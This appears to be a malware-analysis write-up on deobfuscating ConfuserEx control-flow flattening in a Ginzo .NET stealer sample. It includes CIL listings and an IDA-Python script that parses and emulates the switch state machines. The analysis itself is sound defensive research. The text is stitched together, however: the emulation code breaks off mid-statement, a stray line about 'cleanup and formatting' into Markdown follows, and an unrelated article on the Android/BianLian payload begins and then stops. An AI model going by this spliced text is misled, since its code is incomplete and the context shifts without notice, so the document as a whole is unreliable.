This paper refers to a Ginzo sample, which can be downloaded from MalwareBazaar using MD5 5009e04920d5fb95f8a02265f89d25a5. Ginzo is an information stealer written in .NET, known to also steal cryptocurrency keys. However, we are not focusing on the malware itself, but instead have a closer look at one of its ConfuserEx obfuscation techniques.
## Initial Unpacking and Motivation
The sample has a first simple encryption layer that can be unwrapped by using dnSpy as a debugger, dumping the decrypted code to disk (e.g., using x64dbg), and patching the new code section back into the original sample. The resulting code still has long class/function names and flattened code, so the next usual step to try in such situations is to run de4dot on it:
```
de4dot v3.1.41592.3405 Copyright (C) 2011-2015 [email protected]
Latest version and source code: https://github.com/0xd4d/de4dot
Detected Unknown Obfuscator (.../ginzo-patched.exe)
Cleaning .../ginzo-patched.exe
Renaming all obfuscated symbols
Saving .../ginzo-patched-cleaned.exe
ERROR: Error calculating max stack value...
Ignored 8 warnings/errors
Use -v/-vv option or set environment variable SHOWALLMESSAGES=1 to see all messages
```
The resulting .NET binary `ginzo-patched-cleaned.exe` now has readable symbol names, but unfortunately, the ConfuserEx obfuscated code has not been unflattened; de4dot can actually unflatten some ConfuserEx samples, but not all of them. For these situations, there is an additional tool ConfuserExSwitchKiller, which can reorder the switch structures of our sample in its original way. However, such obfuscation schemes can change quickly, and it is very well possible to come across samples where no ready-to-use unpacker tool exists. E.g., more than 10 years ago, a banking trojan known as Torpig made heavy use of a similar, if not even more advanced technique on x86 assembly level. That’s why we’ll study how to deal with such a switch obfuscator by writing our own Python script in IDA Pro to unflatten code like this. Of course, the script needs to be modified for changed requirements. The main goal is to be able to decompile the unflattened code using dnSpy, or at least produce enough information to follow the switch statements ourselves, without the need to do all tedious calculations manually.
Unfortunately, the tools available for .NET assembly reverse engineering are not as good as for native binaries (unmanaged code). The most widely used tool, dnSpy, is no longer maintained for several years and does not allow to actually disassemble CIL - it only offers decompiled code. There are several .NET libraries that can disassemble .NET, which basically is what the famous de4dot deobfuscator tool is doing. This, however, forces reverse engineers to write such code in C# itself. Most reversers prefer to write Python code, and many are familiar with IDA, which offers a Python scripting interface. Also, IDA can disassemble CIL just fine, but does not offer a decompiler for it. More seriously, IDA can’t directly assemble/patch/modify CIL code. So, the .NET support in IDA is not (yet?) where we’d like it to be, but it nevertheless offers the required features for our job. We had to use some workarounds to deal with the lacking .NET support in IDA. But as .NET becomes more and more popular in malware, similar to malware written in the Go language, we need to find a way to deal with IDA's shortcomings.
## Code Flattening After Decompilation
If we just export the binary to a project using dnSpy and study the decompiled code, it looks as follows in a simple situation - we often see dozens of case blocks instead:
```csharp
internal void method_0()
{
uint num = 1U;
for (;;)
{
IL_91:
uint num2 = 2666110116U;
for (;;)
{
uint num3;
switch ((num3 = (num2 ^ 2708435411U)) % 6U)
{
case 0U:
goto IL_91;
case 1U:
num2 = (num3 * 1468221071U ^ 3530660000U);
continue;
case 2U:
this.struct0_0[(int)num].method_0();
num2 = 2183023298U;
continue;
case 4U:
num2 = (((ulong)num < (ulong)(1L << (this.int_0 & 31))) ? 3536790039U : 2440591868U);
continue;
case 5U:
num += 1U;
num2 = (num3 * 2529799854U ^ 3879142487U);
continue;
}
return;
}
}
}
```
The basic algorithm works like this:
- One state variable is created (num2 with an alias num3, created by the decompiler). In a more generic scenario, several, if not dozens, such variables can be used as state variables, declared and initialized step by step at different locations, spread all over the case blocks. An example for this is the aforementioned Torpig trojan. This introduces the additional problem for a deobfuscator to differentiate between state variables and normal variables. But fortunately, ConfuserEx only uses one state variable.
- At the start of every loop iteration, the next state is calculated using this variable (e.g., (num2 ^ 2708435411U) % 6U), always using the same operation: the state variable is updated using an XOR operation with a constant, and then a modulo operation with the total number of states tells us which state to go to next. Because this calculation happens during runtime, it is not trivial to find out which state follows one given state, without actually running or emulating the code. So, the code structure (different kinds of loops, conditional statements, etc.) disappears and is replaced as one single loop containing a single switch. Such a technique is known as code flattening.
- The code for each state (inside the case code fragments) starts with some (optional) “real” code, followed by a “control” code fragment, updating the state variable in one of four different manners, which we call suffix types:
- **Suffix type SIMPLE**: The state value is replaced by a completely new one (e.g., num2 = 2183023298U).
- **Suffix type MXOR**: The state value is multiplied with a constant and then XORed with another constant (e.g., num2 = (num3 * 1468221071U ^ 3530660000U)).
- **Suffix type BRANCH**: A condition is checked, then the state variable is set to a new value depending on the outcome. dnSpy shows this as a ternary operation (e.g., num2 = (((ulong)num < (ulong)(1L << (this.int_0 & 31))) ? 3536790039U : 2440591868U) in case 4 above. The condition is “real” code, the rest is “control” code. In this case, the state variable is overwritten, similar to SIMPLE.
- **Suffix type BRANCH_MXOR**: This is a combination of BRANCH and MXOR. Above sample does not show this suffix type, but here is an example from a more complex case: num2 = (((num < 16777216U) ? 4284753547U : 2545021605U) ^ num3 * 3864922473U). Again, a ternary operator checks a condition and chooses a constant depending on the outcome. This value is then XORed with the result of the multiplication of the old state variable with a constant - note that multiplication has a higher precedence than bitwise XOR in C#. This formula is identical to the one used with the MXOR type, except the XOR constant depends on the condition. One problem in the analysis of such a state machine is that we can’t calculate the next state - or next two states in case of one of the two branch types - by just statically looking at the code of one of the case blocks. While we do know the state itself - this is the case label after all - we do not know the content of the state variable before the modulo operation was applied, because modulo is a non-reversible operation. But the state variable content is needed to calculate the next state; knowledge of the state alone does not suffice. So, such a state machine needs to be fully emulated, using some sort of backtracking, to gain a full analysis.
- One state (case 0 in the above example) acts as the initial state, which usually just assigns the initial value (num2 = 2666110116U). The decompiler shows this state outside the switch with an additional goto label (IL_91) and creates a second for (;;) loop. However, this is just the way the decompiler shows this code in a try to make it look structured, but failing here. Replacing the goto in the case by a goto from the outside directly into the case code would probably work better. This would also allow to drop one of the two nested loops. Note that this initial state does not need to be of type SIMPLE, it can also be of type BRANCH.
- One or more states act as end states (or leaf), which leave the loop. In the above code, this is case 3. Here it does not show up as an explicit case label - but it does on the level of MSIL instructions, as shown below. Instead, the switch is left for case 3 as default action, and the following return statement terminates the loop. Several end states are possible.
An analysis of the above state machine (performed by the actual script described later on) results in:
```
Function Struct1::method_0 at VA 2310
Switch loop at VA 2378: XOR 2708435411
Entry state 0
0 [ Address 23A1 - 23A1 START ]
1 [ Address 236B - 2377]
4 [ Address 232A - 2350]
IF:
2 [ Address 2353 - 2364]
5 [ Address 2317 - 2327]
4 ^
ELSE:
3 [ Address 23A8 - 23A8 END ]
```
The acronym VA stands for virtual address, the memory address of code and data after being loaded, which is also shown in IDA. VAs need to be distinguished from the actual raw file offset in the sample. This shows that code runs from the initial state 0 (which usually does not contain any “real” code) to state 1 (containing no “real” code at all), then to state 4, where a branch to either state 2 or state 3 (the end state) occurs. State 2 leads to state 5 and then loops back to state 4 (the loop-back situation is indicated by a ^ character). State 4 probably implements a kind of while loop. Such an analysis allows us to unflatten the code manually, resulting in something similar to:
```csharp
internal void method_0()
{
uint num = 1U;
while ((ulong)num < (ulong)(1L << (this.int_0 & 31)))
{
this.struct0_0[(int)num].method_0();
num += 1U;
}
}
```
This code was actually produced by dnSpy after the deobfuscation script was applied, but in such simple cases a manual reassembly works just fine. Of course, this could better be expressed as a for loop. While one could write a deobfuscator using decompiled code as input using text processing, that would not be a very effective approach for several reasons:
- The decompiler might make different decisions in different similar situations, leading to the necessity to differ many strange situations and using complex regular expressions.
- The decompiler also often erroneously re-declares local variables inside the case blocks because the real control flow is not known to it, so the scopes of local variables become messy.
- while-loops would never be simplified to for-loops, because this is done by heuristics in dnSpy, unless we re-implement those in our deobfuscator.
- This approach would just not be very satisfying.
A much better strategy is to deal with this on the level of Microsoft Intermediate Language (MSIL), also known as the Common Intermediate Language (CIL), .NET’s assembly instruction set. The obfuscation structures are much clearer there, though still not as clear as we’d expect and wish - it does still seem to contain many “compiler optimization”-like code fragmentation. This also suggests the obfuscator itself operates on source code, and not on CIL instructions level directly.
## Analysis of Code Flattening in CIL
Let’s look at the flattening code elements on CIL level. CIL is a simple stack-based instruction set. Opcodes are all just one byte, followed by optional operands. This is a screenshot of the above method as it appears in IDA:
Control code fragments are surrounded by orange frames, and the actual case values for the states are written in orange over the relevant blocks. The “spider in the web” of the structure is the switch statement in the middle with the preceding loop iteration code implementing the shared next-state-variable-calculation - it expects the previous value of the state variable on the stack. This code fragment actually appears in two different small variations. In this more common case, we have:
```
ldc.i4 0xA16F71D3 // push 2666110116 on the stack
// (above the previous state variable)
xor // XOR with previous state variable
dup // Now we have 2 copies of the new state variable
stloc.1 // store in local variable 1 (reserved for the state variable) - the other copy remains on stack
ldc.i4.6 // calculate state variable modulo 6 (number of states), giving the next state
rem.un // modulo operator
switch loc_23A1, loc_236B, loc_2353, loc_23A8, loc_232A, loc_2317
```
Some variations we see in other places:
- `ldc.i4.6` pushes the value 6 on the stack. Because 6 is a small number, a special opcode using only one byte can be used. For larger values, this can show as `ldc.i4.s 9` (for values up to 127, using two bytes), or even `ldc.i4 0x100` (using five bytes). These two cases both occasionally happen, so we must consider them. Of course, the obviously “random” constant(s) (like `ldc.i4 0xA16F71D3`) could also be expressed in one of the other variations for small values, but this is probably rare, so we ignore that possibility for simplicity. It could have consequences as to how many bytes remain available for patching in our own code (one, two, or five bytes). The probability for these random constants to be “small” by accident is roughly 1 to 17 million (24 bits).
- In some rare cases (e.g., at VA 3F12), we see something similar to:
```
ldc.i4 0x98EFB846
xor
ldc.i4.4
rem.un
switch loc_3F3D, loc_3F47, loc_3F0D, loc_3EF1
```
In this case, the state variable is not stored in a local variable of its own. As the new state variable is actually eaten away by `rem.un`, this is only possible if all state variable calculations in the subsequent switch blocks are of types SIMPLE or BRANCH, so the previous values need not be remembered. This modification looks like a compiler optimization due to the fact the state variable is not read again later on. Once more, this suggests the obfuscator does its work on source code level. We only see this in very small code blocks.
One interesting and helpful observation is that the switch statement is always followed by an unconditional branch to the end state, `br.s loc_23A8` above (marked with State 3 as it is the default if nothing matches), which branches to the final `ret` statement. So, the tagging as “state 3” above is not completely true, as it in fact only jumps there. This instruction does not seem to be required though, as the switch instruction above is complete and no default is needed (its label for state 3 actually also points to `ret`), but it helps our deobfuscator to identify the “normal” exit state.
For the different types, we see different code patterns at the end of the blocks, ignoring the end state 3:
- **SIMPLE** (e.g., state 2):
```
ldc.i4 0x821E4AC2 // push completely new state variable on the stack
```
- **MXOR** (e.g., state 5 or state 1):
```
ldloc.1 // push previous state variable on the stack
ldc.i4 0x96C9AEAE // push multiplier constant on stack
mul
ldc.i4 0xE7370457 // push xor constant on stack
xor // leaves new state variable on the stack
```
- **BRANCH** (e.g., state 4):
```
blt.s loc_2346 // blt.s is a “real” instruction, but jump target is “control” code
ldc.i4 0x917879FC // ELSE part: put 2 copies of the “else” new state variable on the stack
ldc.i4 0x917879FC
br.s loc_2350
loc_2346: // IF part: put 2 copies of the “if” new state variable on the stack
ldc.i4 0xD2CF2217
ldc.i4 0xD2CF2217
loc_2350:
pop // code flows combine, one copy is removed (duplication and pop happen for unknown reasons)
br.s loc_2378 // jump back to loop
```
This code also appears in a second layout with additional fragmentation, e.g., at VA 2773:
```
bge.un loc_26E6
br.s loc_275C
ret // unrelated code in the same function behind
...
loc_26E6:
ldc.i4 0xBA2C2B6D
ldc.i4 0xBA2C2B6D
loc_26F0:
pop
br.s loc_2737
...
loc_275C:
ldc.i4 0x8873AC65
ldc.i4 0x8873AC65
br.s loc_26F0
```
The three sections can be torn apart and even appear in different order. The only relevant difference is the additional unconditional branch in the ELSE part after the conditional branch. This again looks like a compiler optimization and suggests obfuscation happened on source code level. These are the only two layouts we found in the sample.
- **BRANCH_MXOR** (e.g., at VA 2829):
```
blt.un loc_2837 // same code as in BRANCH, leaving an XOR constant on the stack
ldc.i4 0x97B1F2A5
ldc.i4 0x97B1F2A5
br.s loc_2841
loc_2837:
ldc.i4 0xFF64268B
ldc.i4 0xFF64268B
loc_2841:
pop
ldloc.s 5 // Previous state variable
ldc.i4 0xE65E0969 // multiplier constant
mul
xor
```
Again, an unconditional branch could follow the first conditional jump. However, we did not observe that other layout in the sample.
There are several additional caveats we noticed during analysis, which make automated deobfuscation harder in some cases - but as these border cases are rare, we can deal with them manually and let the deobfuscator script do the major part:
### Caveat: Fragmentation of State Code
The code inside one state is sometimes itself fragmented, using additional `br` / `br.s` instructions. However, it is relatively easy to deal with this by just following these branches while traversing the state code.
### Caveat: Non-Linear Code Fragments
One would expect every “real” code fragment inside a case block to be a single building block, i.e., without additional conditional branches. Unfortunately, this is not always the case - it seems the obfuscator does not obfuscate every normal conditional branch, but instead leaves some of these inside one case block untouched. We deal with this situation by just following one side of the branch in order to find the end of a state. This usually works, but there seem to be very few cases where actual non-obfuscated branches lead to different follower states or otherwise inconsistent behavior.
### Caveat: More Than One Switch in a Function
Sometimes, more than one obfuscation switch appears in the same function. This is not a major problem, but it can make the initial or end state detection harder (except for the default end state). We try to cover that by defining the appearance of a switch instruction inside a state as an indication the state to be a leaf. This would fail if one obfuscation switch appeared inside an actual (non-leaf) state code of an outer switch obfuscation. We did not actually see such a situation, but it would make deobfuscation harder.
### Caveat: Shared Code
In rare situations, two different states share some common control code and branch into this before the next loop iteration starts. We cannot deal with these situations at the moment, and they might result in code that dnSpy can no longer decompile. This can also happen in case of some strange interaction with try-except constructs (e.g., at VA 53D6).
### Caveat: Inconsistent State Machine
Whenever the same state appears as a successor of more than one other state, probably some kind of loop is implemented. This is a common situation. We expect all re-entries into such re-used states to have the same value of the state variable (or at least values that lead to the same state paths thereafter). Should this not be the case, we call the state machine inconsistent. Fortunately, all state machines in our sample turned out to be consistent. It is hard to think of an obfuscator algorithm producing an inconsistent state machine - it would have to somehow melt two different states into one. A very advanced state obfuscator might be able to actually realize this kind of magic. The situation is comparable to compilers: any standard C code results in some type of consistent assembly code, but assembly code in general can be inconsistent and not decompilable back into reasonable C code. Any state machine we come across could in theory turn out to be inconsistent. We deal with the problem by just detecting it, emitting an error line, and leaving the code unchanged.
There might be situations where an obfuscator could actually intentionally produce inconsistent states, just to break deobfuscator scripts. This could be done in code that is never actually executed, e.g., because some conditions leading to it will never be true, comparable to junk code. It might also be possible that actual state code is of a nature that repetitions don’t do any harm, so repeating a state in a different context might be acceptable, if it is only used as a link state to another state value which is not yet used. The redundant repeating of the state code would then act like an empty state. This kind of obfuscation would be quite advanced though, and fortunately, we did not need to take care of it in this sample. We’re not aware of such a technique actually used by code obfuscators.
We occasionally observed unused states, i.e., states that were never reached during emulation of a state machine. This does not make the state machine inconsistent, and it is safe to just ignore unused states; but it is still a slightly unusual observation. Wherever we checked, these unused states actually did not contain any real code, only control code. So they might very well be obfuscator artifacts.
## Parsing and Analysis
As mentioned, we use IDA-Python for parsing. To make things easier, we use the excellent sark library as disassembler wrapper. We define several structures to encapsulate the suffix type SType (a simple enum), information about the actual suffix code Suffix (most importantly the XOR and multiplication constants), and all information about an actual state Block, and finally a Switch structure:
```python
# SType: the different code constructs which calculate the next state variable value
class SType(Enum):
NA = auto()
SIMPLE = auto()
MXOR = auto()
BRANCH = auto()
BRANCH_MXOR = auto()
# Suffix collects type + context of control code at end of blocks
@dataclass
class Suffix:
addr: int = 0 # address of first control instruction
sType: SType = SType.NA # actual code type
val: int = -1 # value used for “if” / “else”
val_else: int = -1
xor: int = 0 # common xor / mult constants (MXOR)
mult: int = 0
# actual control instructions (for later NOPing):
ctrls: List[sark.code.line.Line] = field(default_factory=list)
# Block encodes information about one switch block
@dataclass
class Block:
state: int # case tag (idx of block in switch)
start: int # start - and end - VA of data
end: int = 0
is_start: bool = False
is_end: bool = False
is_ret: bool = False
next_state = -1
next_state_else = -1
enter_value = -1
enter_values: Set[int] = field(default_factory=set)
suffix: Suffix = Suffix() # used to calculate next state
@dataclass
class Switch:
patcher: Patcher # used later to patch code
cont_addr: int = 0 # VA for loop calc
end_addr: int = 0 # VA of block which ends loop
switch_addr: int = 0 # VA of switch statement
# entry_states gets the blocks that are initially traversed
entry_states: Dict[int, List[int]] = field(default_factory=dict)
# control values for state calculation:
xor_value: int = 0
nbr_blocks: int = 0
failed: bool = False # set to true if unusual cases
blocks: List[Block] = field(default_factory=list)
```
## Main Parsing Loop
Using the above structure, the main code parsing loop starts with:
```python
for fct in sark.functions():
buff: List[sark.code.line.Line] = [] # reverse order
pattern = bytearray() # Allows us to find the function
switches: List[Switch] = []
lines: Dict[int, sark.code.line.Line] = {}
print(f"\nFunction {fct.name} at VA {fct.ea:X}")
for l in fct.lines:
buff.insert(0, l)
lines[l.ea] = l
ops = l.insn.operands
pattern.extend(l.bytes)
# detect switch statement with preceding modulus:
if l.insn.mnem == "switch" and \
buff[1].insn.mnem == "rem.un" and \
buff[2].insn.mnem.startswith("ldc.i4"):
```
We do keep the actual original byte data of the code in a byte array `pattern`. This is done because IDA currently does not support code patching for .NET - we can only read CIL instructions. While it would certainly be possible to actually mimic the interpretation of .NET headers in Python to map VAs to actual raw file offsets, we decided for the simpler and pragmatic way to just search for `pattern` in the actual binary data of the executable in order to find the delta - which by the way is not constant for every function. There’s also a caveat about this, which will be discussed further down.
Next, we check if one of the two known code fragments precedes this, read and memorize the corresponding XOR value and the continuation address - i.e., the address jumped back to at each loop iteration after the new state variable was set:
```python
# 2 opcode sequences are possible:
# ldc / xor / dup / stloc / ldc / rem / switch: usual case, state variable is stored as local var
# ldc / xor / ldc / rem / switch: in some simple cases (e.g., VA 3f1a), the state variable is kept on stack
if len(buff) > 4 and buff[3].insn.mnem == "xor" and buff[4].insn.mnem == "ldc.i4":
xor_value = buff[4].insn.operands[0].imm
cont_addr = buff[4].ea # this is where jumps to the next loop occur
elif len(buff) > 6 and buff[5].insn.mnem == "xor" and buff[6].insn.mnem == "ldc.i4":
xor_value = buff[6].insn.operands[0].imm
cont_addr = buff[6].ea
else:
raise Exception("Unknown xor construct before switch")
```
As mentioned earlier, we ignore the really improbable situation where the XOR value were so small that an `ldc.i4.s` or even an implicit instruction suffices. For our sample, the resulting exception in such a situation never triggered.
However, when reading the number of states, we need to consider all possibilities. Finally, the `Switch` object can be created:
```python
# number of states is pushed in the previous ldc instruction. That one can embed the immediate value into
if buff[2].insn.mnem.startswith("ldc.i4.") and len(buff[2].insn.operands) == 0:
# Implicit instruction, value is not stored in an operand, extract it from the mnemonic as string:
nbr_blocks = int(buff[2].insn.mnem.split(".")[-1])
else:
# Explicit operand (".s" or full)
nbr_blocks = buff[2].insn.operands[0].imm
switch = Switch(patcher, switch_addr=l.ea, cont_addr=cont_addr, xor_value=xor_value,
nbr_blocks=nbr_blocks)
```
As additional confirmation, we assert an unconditional branch to the end state follows, which can be a far or a near one. `switch.end_addr` is set to where this branch jumps to, which is the default end block address:
```python
if l.next.insn.mnem in ("br", "br.s"):
switch.end_addr = l.next.insn.operands[0].addr
else:
raise Exception("no br after switch")
```
Finally, we must extract the entry addresses for every case block. Unlike native assembly, CIL has a switch instruction with a variadic number of operands, meaning the list of operands is not always of the same length. As IDA’s instruction model does not support variadic instructions, we can only read a comma-separated string of all labels like one single operand. To get the actual addresses instead of the symbolic labels, we rely on the fact these are of the form `loc_` + “hexadecimal address”. As the `loc_` prefix requires 4 characters, this can be expressed in the following way, which admittedly is an ugly hack - remember not to rename any labels before applying the script:
```python
# Create switch blocks for each label (we must parse these as text labels, e.g. "loc_3F47", where 3f47 is the VA)
for state, l in enumerate(ops[0].text.split(',')):
switch.blocks.append(Block(state, int(l.strip()[4:], 16)))
```
And we add the resulting switch construct:
```python
switches.append(switch)
```
After the loop parsed all lines of the function, we come back to each such detected switch, as we need to find more information about the actual blocks, such as: Where do they end? Are they end or start states? What suffix code is used? What are the relevant constants?
```python
for switch in switches:
start_found = False # Will be set to true if start states could be detected
for block in switch.blocks:
if block.start not in lines:
raise Exception(f"Block address {block.start:X} has no instruction")
l = lines[block.start]
crefs = list(l.crefs_to)
```
We create a list of code references to the first instruction of the block (crefs). For normal states, this list only contains one instruction, namely the switch instruction. Start states should additionally get a code reference from where the loop is entered, and the normal end state should get another reference from the branch instruction following the switch. But we can check for the normal end state by directly comparing to `switch.end_addr` assigned in the previous step:
```python
# The block that the branch after "switch" jumps to is a leaf (e.g., does not loop back):
if switch.end_addr == l.ea:
block.is_end = True
block.end = l.ea
continue
```
Otherwise, if there are any cross-references that differ from the switch address, we know this is a start state. Unfortunately, two obfuscation switches in the same function occasionally share a state (e.g., switch at VA 53D6 and switch at 5462 both point to the same block on VA 53FB). This is still an unclear case, and for the moment we consider these as end states:
```python
# We need to find the initial states. Normal states have only one xref (the switch statement itself),
# while the initial state is also referenced by the jump-in instructions.
for a in crefs:
if a != switch.switch_addr: # not in (switch.switch_addr, switch.end_addr):
if lines[a].insn.mnem == "switch":
# if 2 switch statements link to the same state (sigh), we assume it's a common end state
block.is_end, block.is_start = True, False
break
if block.state not in switch.entry_states:
switch.entry_states[block.state] = []
switch.entry_states[block.state].append(a)
block.is_start = True
start_found = True
```
Now we traverse the code for this block until we reach its end. Certain instructions are interpreted as markers that we reached an end state; we don’t know at the moment if switch instructions themselves indicate an end state. They probably do, but we can’t rely on this. We emit a warning if such a switch instruction is not followed by a branch. An example is the switch at VA AC74, which does not seem to have any end state at all (maybe an endless loop), and is jumped in from another switch at VA AF73 (to address AC73). We consider these cases as end states. Note that branches which don’t return to the loop entry (cont_addr) are just followed and assumed to occur due to code fragmentation:
```python
# Traverse the code for this block:
while True:
# returns end the block immediately:
if l.insn.mnem == "ret" and not block.is_end:
block.end = l.ea
block.is_end = True
break
# embedded switch are tricky - we follow the branch behind:
if l.insn.mnem == "switch": # ... maybe we can assume these are always end nodes,
l = l.next
if l.insn.mnem not in ("br", "br.s"):
print(f"INFO: Strange embedded switch at {l.ea:X} - we assume it's an end node")
block.is_end, block.is_start = True, False
break
else:
l = lines[l.insn.operands[0].addr]
continue
# If we hit the first instruction of the xor-part, this is the last block before,
# where the branch lacks:
if l.ea == switch.cont_addr:
block.end = l.prev.ea
# extract the next-block constants (code suffix of block):
block.suffix = find_suffix(l.prev, block.start)
break
# ... but most blocks end in a branch to the xor-part:
elif l.insn.mnem in ("br", "br.s", "leave", "leave.s"):
if l.insn.operands[0].addr == switch.cont_addr:
block.end = l.prev.ea
block.suffix = find_suffix(l.prev, block.start)
# We consider the terminating branch also as a control instruction:
block.suffix.ctrls.append(l)
break
# branches that don’t return are BRANCH-type instructions that we just follow
# (can be fragmented)
l = lines[l.insn.operands[0].addr]
continue
# Should not really happen (but maybe it does): last instruction of function also ends the block
elif l.ea + l.size not in lines:
break
l = lines[l.ea + l.size]
```
Keep in mind that all conditional jump conditions in this traversal are considered to fail - that’s how the `l.next` method works. Hence, only one branch is traversed, knowing that in most cases both branches will eventually coalesce. Also, while most states end in a `br` / `br.s` instruction for the next loop iteration, in one case we probably see a fall-through (the block located just before this loop).
## Detection of the Suffix Code Type and Extraction of the Constants (find_suffix function)
The `find_suffix` function is responsible for finding the control code part of the block, telling us about the suffix type, and extracting the relevant constants; all of this will be returned in a new Suffix instance. `find_suffix` also stores references to every control instruction into its `ctrls` field; these will be later nop-ed out in the patching stage. To do its work, `find_suffix` relies on the parameter `l`, pointing to the last instruction of the block previous to the final branch to the next loop iteration (or just the last instruction in case of a fall-through state). It does so by walking backwards from that instruction using a temporary variable `l2`. Because the control code is at most 11 instructions long, it stops when this threshold is reached, or when the block’s start-address or the switch instruction is hit. These up to 11 instructions are put into a list `ctrls`, like before in reverse order:
```python
l2 = l
tree_else_addr = -1 # for branches, the else part usually follows, but could be branched to as well
# byte sequence of previous instruction (so actually the one behind), allows to detect 2 identical ldc instructions
prev_bytes = b''
for i in range(11): # suffixes are never longer
if l2.insn.mnem == "switch":
break
ctrls.append(l2)
if l2.ea == block_start_addr:
break
```
The variable `tree_else_addr` will be used to correctly link the IF-part of a branch to the ELSE-part - see below for more details. Notice that we keep the binary representation of the previous instruction in a variable `prev_bytes`; this allows us to easily detect the two subsequent `ldc.i4` clones used in the BRANCH suffix types.
We skip a short piece of code here (shown and explained three code paragraphs further down), which asserts the correct flow in case of BRANCH suffix type.
The code cross-reference approach is used once more to decide if we can just go backwards normally, or need to take care of a branch; this also allows us to follow back unconditional branches without preceding fall-through:
```python
crefs = list(l2.crefs_to)
if len(crefs) == 1:
prev_bytes = l2.bytes
l2 = sark.Line(crefs[0])
continue
# Only instructions used in standard branch construct (b.. / ldc / )
if len(crefs) != 2:
raise Exception(f"Only 1 or 2 crefs allowed at {l2.ea:X}")
```
If we have more than one reference, we must either be at the pop instruction of one of the two BRANCH suffix types, or one of their `ldc.i4` instructions. As explained below, the latter case should already be dealt with at this point though. In case of the pop instruction, in all observed layouts - fragmented or not - the IF part with its 2 `ldc` instructions immediately precedes the pop instruction, while the ELSE part ends in an unconditional branch to the pop instruction. The address of this branch can be extracted using `list(set(crefs) - set([l2.prev.ea]))[0]`, which just removes the final instruction of the IF part from the code references and so should point to the `br` of the ELSE part; this address is stored in a local variable `tree_else_addr`, initialized to -1, for one of the next loop iterations:
```python
# a BRANCH combines at “pop” instruction; immediately before is the if part (2 ldc's)
# note: theoretically, a branch could appear in between
if l2.insn.mnem == "pop":
tree_else_addr = list(set(crefs) - set([l2.prev.ea]))[0]
prev_bytes = l2.bytes
l2 = l2.prev
continue
else:
prev_bytes = l
l2 = l2.prev
```
When going back beyond the pop instruction, we use the fact `tree_else_addr` was set to a value different from -1 (meaning a pop instruction was seen) in order to detect the first of the two `ldc` clones in the IF branch - at this point we must jump to the just memorized ELSE branch. This needs to be done earlier in the loop (before `crefs` was assigned, where the skipped code was mentioned), and we also set `tree_else_addr` back to -1:
```python
if tree_else_addr >= 0 and l2.insn.mnem == "ldc.i4" and l2.bytes == prev_bytes:
# 2 identical ldc.i4 instructions detected
prev_bytes = l2.bytes
# after this, we jump to the else tree (linking to the pop)
l2 = sark.Line(tree_else_addr)
tree_else_addr = -1
continue
```
When the collection of the control code is completed, we can use the resulting `ctrls` list to differentiate the types:
- **SIMPLE** is easily identified by its `ldc.i4` instruction at the end - it also is the only actual control instruction:
```python
if ctrls[0].insn.mnem == "ldc.i4":
s.sType = SType.SIMPLE
s.val = l.insn.operands[0].imm
s.addr = l.ea
s.ctrls.append(ctrls[0])
```
- **MXOR** is also easy to detect: we just allow for different local variables for the state variable. Keep in mind that all 5 instructions checked for are considered control instructions (and suffix’s `addr` is set to the first of them):
```python
elif ctrls[0].insn.mnem == "xor" and ctrls[1].insn.mnem == "ldc.i4" and \
ctrls[2].insn.mnem == "mul" and \
ctrls[3].insn.mnem == "ldc.i4" and ctrls[4].insn.mnem.startswith("ldloc."):
s.sType = SType.MXOR
s.xor = ctrls[1].insn.operands[0].imm
s.mult = ctrls[3].insn.operands[0].imm
s.addr = ctrls[4].ea
s.ctrls.extend(ctrls[0:5])
```
- **BRANCH** needs a bit more flexibility - note that `ctrls[6]` is just checked for starting with the letter `b`, as it can be the relevant conditional branch, or an additional unconditional fragmentation branch just after it, depending on the layout. Everything except this one or two branches are considered control code (this has to do with the special patching situation explained later on), but depending on the situation, we must set the start address differently:
```python
elif ctrls[0].insn.mnem == "pop" and \
ctrls[1].insn.mnem == "ldc.i4" and ctrls[2].insn.mnem == "ldc.i4" and \
ctrls[3].insn.mnem in ("br", "br.s") and \
ctrls[4].insn.mnem == "ldc.i4" and ctrls[5].insn.mnem == "ldc.i4" and \
ctrls[6].insn.mnem.startswith("b"):
s.sType = SType.BRANCH
s.val = ctrls[1].insn.operands[0].imm
s.val_else = ctrls[4].insn.operands[0].imm
if ctrls[6].insn.mnem in ("br", "br.s"):
if ctrls[7].insn.mnem.startswith("b"):
# Fragmentation case, we start one instruction earlier
s.addr = ctrls[7].ea
else:
raise Exception(f"br should be preceded by conditional branch at VA {ctrls[6].ea:X}")
else:
s.addr = ctrls[6].ea
s.ctrls.extend(ctrls[0:6])
```
- **BRANCH_MXOR** is dealt with in the same way. As a side note, we did not actually see the fragmented layout for this suffix type:
```python
elif ctrls[0].insn.mnem == "xor" and ctrls[1].insn.mnem == "mul" and \
ctrls[2].insn.mnem == "ldc.i4" and ctrls[3].insn.mnem.startswith("ldloc.") and \
ctrls[4].insn.mnem == "pop" and \
ctrls[5].insn.mnem == "ldc.i4" and ctrls[6].insn.mnem == "ldc.i4" and \
ctrls[7].insn.mnem in ("br", "br.s") and \
ctrls[8].insn.mnem == "ldc.i4" and ctrls[9].insn.mnem == "ldc.i4" and \
ctrls[10].insn.mnem.startswith("b"):
s.sType = SType.BRANCH_MXOR
s.val = ctrls[5].insn.operands[0].imm
s.val_else = ctrls[8].insn.operands[0].imm
s.mult = ctrls[2].insn.operands[0].imm
if ctrls[10].insn.mnem in ("br", "br.s"):
if ctrls[11].insn.mnem.startswith("b"):
s.addr = ctrls[11].ea
else:
raise Exception(f"br should be preceded by conditional branch at VA {ctrls[6].ea:X}")
else:
s.addr = ctrls[10].ea
s.ctrls.extend(ctrls[0:10])
```
## Emulation
After a Switch is fully parsed and an initial state actually found, it can be emulated by recursive code; this is done for every possible initial state, if there should be more than one:
```python
for initial_state in switch.entry_states.keys():
print(f"Entry state {initial_state}")
switch.failed = not switch.emulate(initial_state, value=-1, prev_block=None,
```
This concludes the cleanup and formatting of the provided text into Markdown. |
# Android/BianLian Payload
In the previous article, we discussed the packing mechanism of a Bian Lian sample and how to unpack it. This article reverse engineers the payload of the malware. It explains:
- The malicious components the bot implements. Those components can be seen as modules, and they are launched at the beginning. Each of them does their job, handles accessibility events, and notifies or responds to the C&C. The implementation is clearly organized to easily welcome future modules.
- The bot understands and responds to several commands. The commands are implemented in the relevant component. The communication protocol is fairly simple: over HTTP (not HTTPS), with a plaintext JSON object as data (no encryption).
- The functionality of each major component.
## Three DEXes
To be precise, note the Bian Lian we discuss uses three different DEX:
1. The main APK’s DEX — responsible for decrypting and loading via multidex the second DEX. For reminder, the APK’s sha256 is `5b9049c392eaf83b12b98419f14ece1b00042592b003a17e4e6f0fb466281368`.
